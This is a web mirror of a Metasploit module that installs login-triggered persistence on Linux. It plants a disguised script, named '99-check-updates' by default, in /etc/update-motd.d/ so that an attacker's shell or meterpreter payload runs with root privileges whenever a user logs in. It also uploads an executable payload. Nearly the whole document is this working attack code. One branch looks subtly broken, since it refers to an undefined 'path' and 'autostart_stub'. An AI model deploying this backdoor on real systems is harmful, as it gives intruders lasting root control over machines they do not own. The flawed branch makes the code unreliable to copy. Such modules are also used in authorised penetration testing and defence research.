Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/persistence/motd.rb
21839 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
include Msf::Exploit::EXE # for generate_payload_exe
12
include Msf::Exploit::Local::Persistence
13
prepend Msf::Exploit::Remote::AutoCheck
14
include Msf::Exploit::Deprecated
15
moved_from 'exploits/linux/local/motd_persistence'
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'update-motd.d Persistence',
22
'Description' => %q{
23
This module will add a script in /etc/update-motd.d/ in order to persist a payload.
24
The payload will be executed with root privileges everytime a user logs in.
25
Root privileges are likely required to write to /etc/update-motd.d/.
26
Verified on Ubuntu 22.04
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [ 'Julien Voisin' ],
30
'Platform' => [ 'unix', 'linux' ],
31
'Arch' => [
32
ARCH_CMD,
33
ARCH_X86,
34
ARCH_X64,
35
ARCH_ARMLE,
36
ARCH_AARCH64,
37
ARCH_PPC,
38
ARCH_MIPSLE,
39
ARCH_MIPSBE
40
],
41
'Payload' => {
42
'BadChars' => '#%\n"'
43
},
44
'SessionTypes' => [ 'shell', 'meterpreter' ],
45
'Targets' => [ ['Automatic', {}] ],
46
'Privileged' => true,
47
'DefaultTarget' => 0,
48
'DisclosureDate' => '1999-01-01',
49
'Notes' => {
50
'Stability' => [CRASH_SAFE],
51
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
52
'SideEffects' => [ARTIFACTS_ON_DISK]
53
},
54
'References' => [
55
['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],
56
]
57
)
58
)
59
register_options([
60
OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']),
61
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
62
])
63
end
64
65
def check
66
return CheckCode::Safe('/etc/update-motd.d/ does not exist') unless exists? '/etc/update-motd.d/'
67
return CheckCode::Safe('/etc/update-motd.d/ is not writable') unless writable? '/etc/update-motd.d/'
68
69
print_warning("#{datastore['BACKDOOR_NAME']} already exists") if exists? "/etc/update-motd.d/#{datastore['BACKDOOR_NAME']}"
70
71
CheckCode::Appears('/etc/update-motd.d/ is writable')
72
end
73
74
def install_persistence
75
update_path = '/etc/update-motd.d/'
76
77
backdoor_path = "#{update_path}/#{datastore['BACKDOOR_NAME']}"
78
79
if exists? backdoor_path
80
fail_with Failure::BadConfig, "#{backdoor_path} is already present"
81
end
82
83
if payload.arch.first == 'cmd'
84
write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
85
else
86
backdoor_path = writable_dir
87
backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"
88
backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
89
backdoor_path << backdoor_name
90
print_status("Uploading payload file to #{backdoor_path}")
91
upload_and_chmodx backdoor_path, generate_payload_exe
92
write_file(path, (autostart_stub + ["Exec=\"#{backdoor_path}\""]).join("\n"))
93
@clean_up_rc << "rm #{backdoor_path}\n"
94
end
95
96
write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
97
@clean_up_rc << "rm #{backdoor_path}\n"
98
chmod(backdoor_path, 0o755)
99
print_status "#{backdoor_path} written"
100
print_good('Payload will be triggered at user login')
101
end
102
end
103
104